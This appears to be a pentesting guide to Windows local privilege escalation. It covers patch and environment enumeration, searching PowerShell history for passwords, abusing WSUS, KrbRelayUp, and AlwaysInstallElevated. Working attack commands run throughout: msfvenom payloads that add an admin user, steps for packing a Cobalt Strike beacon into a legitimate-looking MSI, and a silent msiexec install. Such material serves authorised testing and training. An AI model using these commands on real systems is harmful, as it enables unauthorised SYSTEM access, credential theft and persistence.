Investigating System Information and Installers

The OS version, patches, and installer settings help narrow down local privilege escalation paths. Check the current state first, then investigate the relevant findings in more detail.

System information

Check the version and patches

Check whether the Windows version has known vulnerabilities and which patches have been applied.

systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" # Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn # Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% # Get system architecture

[System.Environment]::OSVersion.Version # Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} # List all patches
Get-Hotfix -description "Security update" # Only "Security Update" patches

Version-dependent vulnerabilities

Use the Microsoft Security Update Guide to investigate vulnerabilities related to the OS version and installed patches.

On the system

• post/windows/gather/enum_patches
• post/multi/recon/local_exploit_suggester
• watson
• winpeas (WinPEAS includes Watson)

Locally, using system information

• https://github.com/AonCyberLabs/Windows-Exploit-Suggester
• https://github.com/bitsadmin/wesng

GitHub repositories of exploits:

• https://github.com/nomi-sec/PoC-in-GitHub
• https://github.com/abatchy17/WindowsExploits
• https://github.com/SecWiki/windows-kernel-exploits

Environment variables

Check environment variables for credentials, connection destinations, and similar information.

set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize

PowerShell history

ConsoleHost_history # Find the saved location

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

PowerShell transcripts

See this guide for how to enable transcription.

# Check whether it is enabled in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts

# Start a transcript session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript

PowerShell module logging

Module logging records details of PowerShell pipeline execution, including commands run, command invocations, and parts of scripts. It may not record complete execution details or output.

To enable it, follow the instructions in the documentation’s “Transcript files” section, but select “Module Logging” instead of “Powershell Transcription”.

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging

Run this to see the 15 most recent PowerShell log entries:

Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView

PowerShell script block logging

Script block logging records the full activity and content of script execution, capturing each block of code as it runs. This provides a comprehensive audit trail for forensics and analysis of malicious behavior, with detailed insight into activity at execution time.

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

Script Block logs are in Windows Event Viewer’s Application and Services Logs > Microsoft > Windows > PowerShell > Operational.
Use this to see the 20 most recent entries:

Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview

Internet settings

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

Drives

wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

WSUS

If updates are retrieved over HTTP rather than HTTPS, the system may be compromised.

First, use the following cmd command to check whether the network uses non-SSL WSUS updates.

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

In PowerShell:

Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"

If the response looks like this:

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
      WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535

WUServer     : http://xxxx-updxx.corp.internal.com:8530
PSPath       : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName  : windowsupdate
PSDrive      : HKLM
PSProvider   : Microsoft.PowerShell.Core\Registry

And HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer or Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver" equals 1,

it is exploitable. If that last registry value is 0, the WSUS entry is ignored.

Tools such as Wsuxploit and pyWSUS can exploit this vulnerability. They are weaponized man-in-the-middle exploit scripts that inject “fake” updates into non-SSL WSUS traffic.

Research material:

CTX_WSUSpect_White_Paper (1).pdf

WSUS CVE-2020-1013

Full report here.
In essence, this bug exploits the following flaw:

If a local user can change their proxy and Windows Updates use the proxy configured in Internet Explorer settings, they can run PyWSUS locally to intercept their own traffic and execute code as an elevated user on the machine.

In addition, the WSUS service uses the current user’s settings, including the certificate store. By generating a self-signed certificate for the WSUS hostname and adding it to the current user’s certificate store, both HTTP and HTTPS WSUS traffic can be intercepted. WSUS has no HSTS-like mechanism that implements trust-on-first-use certificate validation. The service accepts a presented certificate if the user trusts it and the hostname is correct.

This vulnerability can be exploited with WSUSpicious (once released).

Third-party update tools and agent IPC

Many enterprise agents expose localhost IPC surfaces and privileged update channels. If enrollment can be redirected to an attacker-controlled server and the updater trusts a rogue root CA or has weak signature validation, a local user can deliver a malicious MSI for a SYSTEM service to install. See this generalized technique (based on the Netskope stAgentSvc chain, CVE-2025-0309):

Abusing auto-updaters and IPC

KrbRelayUp

Under certain conditions, a local privilege escalation vulnerability exists in a Windows domain environment. These conditions include LDAP signing not being enforced, users having self-rights to configure Resource-Based Constrained Delegation (RBCD), and users being able to create computers in the domain. Note that these requirements are met by default.

The exploit is available at https://github.com/Dec0ne/KrbRelayUp.

For details of the attack flow, see https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/.

AlwaysInstallElevated

If both registry entries are enabled (set to 0x1), a user at any privilege level can install (run) a *.msi file as NT AUTHORITY\SYSTEM.

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Metasploit payload

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi # No UAC format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi # UAC is not shown because msiexec is used

If you have a meterpreter session, you can automate this with the exploit/windows/local/always_install_elevated module.

PowerUP

PowerUp’s Write-UserAddMSI command can create a Windows MSI binary for privilege escalation in the current directory. The script writes a precompiled MSI installer that prompts for a user or group to add (GUI access is required).

Write-UserAddMSI

Run the resulting binary to escalate privileges.

MSI Wrapper

See the following tutorial for how to create an MSI wrapper with this tool. If you only want to run a command line, you can wrap a “.bat” file.

MSI Wrapper

Create an MSI with WiX

Create MSI with WIX

Create an MSI with Visual Studio

• Generate a new Windows EXE TCP payload with Cobalt Strike or Metasploit at C:\privesc\beacon.exe.
• Open Visual Studio, select Create a new project, and enter “installer” in the search box. Select the Setup Wizard project, then Next.
• Name the project AlwaysPrivesc or similar, set its location to C:\privesc, select place solution and project in the same directory, and click Create.
• Click Next until you reach step 3 of 4 (choosing files to include). Click Add, select the Beacon payload you generated, then click Finish.
• In Solution Explorer, select the AlwaysPrivesc project and change TargetPlatform from x86 to x64 in Properties.
  • You can also change properties such as Author and Manufacturer to make the installed application look more legitimate.
• Right-click the project and select View > Custom Actions.
• Right-click Install and select Add Custom Action.
• Double-click Application Folder, select beacon.exe, and click OK. The payload will now run immediately after the installer.
• Change Run64Bit to True under Custom Action Properties.
• Finally, build the project.
  • If you see the warning File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86', set the platform to x64.

Install an MSI

To install a malicious .msi file in the background, run:

msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

This vulnerability can be exploited with exploit/windows/local/always_install_elevated.